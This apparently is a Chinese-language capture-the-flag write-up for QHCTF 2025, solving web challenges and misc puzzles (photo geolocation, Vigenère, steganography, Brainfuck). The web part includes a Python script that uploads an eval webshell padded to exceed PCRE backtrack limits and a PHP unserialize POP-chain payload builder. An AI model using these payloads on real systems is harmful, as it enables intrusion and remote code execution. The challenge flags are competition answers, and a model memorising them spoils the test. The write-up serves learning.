web
Easy_include
简单的伪协议
PCREMagic
<?php
// 定义函数 is_php,用于检测输入内容是否包含 PHP 的 eval 恶意代码
function is_php($data){// 使用正则表达式匹配 <?php ... eval(...) ... ?> 模式// 修饰符说明:i=不区分大小写,s=允许 . 匹配换行符return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}// 检查是否有文件上传,如果没有则显示当前文件源码(用于题目展示)
if(empty($_FILES)) {die(show_source(__FILE__)); // 显示源码后终止程序
}// 创建用户专属目录:基于客户端 IP 的 MD5 哈希值
// 示例目录:data/8a599e35e4b57e45e4b57e45e4b57e45
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);// 读取上传文件的全部内容到内存中
$data = file_get_contents($_FILES['file']['tmp_name']);// 调用安全检测函数
if (is_php($data)) {echo "bad request"; // 检测到恶意代码则拒绝请求
} else {// 如果用户目录不存在则创建(递归创建目录,权限 0755)if (!is_dir($user_dir)) {mkdir($user_dir, 0755, true); // true 表示递归创建父目录}// 生成随机文件名:0-10 之间的整数 + .php 后缀// 示例路径:data/md5_hash/7.php$path = $user_dir . '/' . random_int(0, 10) . '.php';// 将上传的临时文件移动到目标路径move_uploaded_file($_FILES['file']['tmp_name'], $path);// 重定向到上传的文件(HTTP 303 状态码表示 "See Other")header("Location: $path", true, 303);exit; // 终止脚本执行
}
?>
这里直接最大回溯绕过pre
import requests # 导入requests库,用于发送HTTP请求
from io import BytesIO # 导入BytesIO类,用于在内存中处理二进制数据url = "http://2025.qihangcup.cn:32789/ " # 定义目标URL,即要发送请求的服务器地址# 创建一个包含文件的字典,用于模拟文件上传
# 'file' 是表单中文件字段的名称,BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000) 是文件内容
# 文件内容包含一个PHP代码片段 `<?php eval($_POST[1]);//`,后面跟着1000000个字节的字符 'a'
files = {'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}# 发送POST请求到目标URL,携带文件数据
# `allow_redirects=False` 表示不允许重定向,即如果服务器返回重定向响应,requests不会自动跟随
res = requests.post(url=url, files=files, allow_redirects=False)# 打印服务器返回的响应头信息
print(res.headers)
然后直接访问根目录即可
绕过也可以段标签绕过
Web_IP
一进去看看源代码 ,发现flag.php,点进去
没有想法,看看哪个hint.php
在源代码发现提示,抓包flag.php页面,尝试发现是ssti模板注入(Smarty 模板注入)
PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客
Web_pop
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to QHCTF 2025, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}if(isset($_POST['pop'])){unserialize($_POST['pop']);
}
<?phpclass Start{public $name;public $func;public function __destruct(){echo "Welcome to QHCTF 2025, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{public $obj;public $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var)//Easy::__call($fun, $var) 中的 $fun 是方法名(即 "check"),$var 是参数数组(即 [$this->var]){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}$a=new Start();
$a->name=new Sec();
$a->name->var=new eeee();
$a->name->obj=new Easy();
$a->name->var->obj=new Start();
$a->name->var->obj->func=new Sec();echo serialize($a);
echo "\n".urlencode(serialize(($a)));
misc
QHCTF For Year 2025
QHCTF{FUN}
PvzHE
flag藏在images
请找出拍摄地所在位置
关键信息是柳城与雅迪,绿源电动车
在电脑的地图搜半天没结果,去手机上搜搜
有个有点像,点进去看看。
确实有绿源电动车
那就直接找路了
QHCTF{广西壮族自治区柳州市柳城县六广路与榕泉路交叉口}
你能看懂这串未知的文字吗
给了一个看不懂的文字
识图可以得到表
然解密的得szfpguwizgwesqzoaoerv,但是flag不是这个,将图片拖随波逐流,发现可疑信息,猜测key。
最后发现是维吉尼亚密码
注意题目给的图片带感叹号,所以flag也要带 。QHCTF{cryptoveryeasybysheep!!!}
______启动
一直找tcp流,到135时发现敏感数据
访问http://101.126.66.65/log(现在地址不可访问了)就可以下载一个log文件,即可得flag
猿类的编程语言你了解吗
jphs隐写。(这里没密码,直接提取)
JPHS(JPG)工具介绍和下载-CSDN博客 //这里百度网盘下方便
【隐写工具】【试一试?】jphide seek(JPHS) 使用方法,检测提示,附下载地址-CSDN博客看这个学习如何使用
BrainFuck解密即可(Ook!所需的字符太多,利用".!?"来简化Ook,本质上是一样的)
Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. //也可以用这个解密
猜猜这是哪
这个比较难,关键信息是银行,酒店,题目还提示是是郴州市
QHCTF{湖南省郴州市汝城县汝城大道与东泉路交汇处西北} 。这题太难了,没有多余的信息,就硬找,要找到汝城才行。
取证
环境有点问题1,镜像挂载不上去,刚好平台也关了,到此为止吧
第一届启航杯Forensics部分个人WP-CSDN博客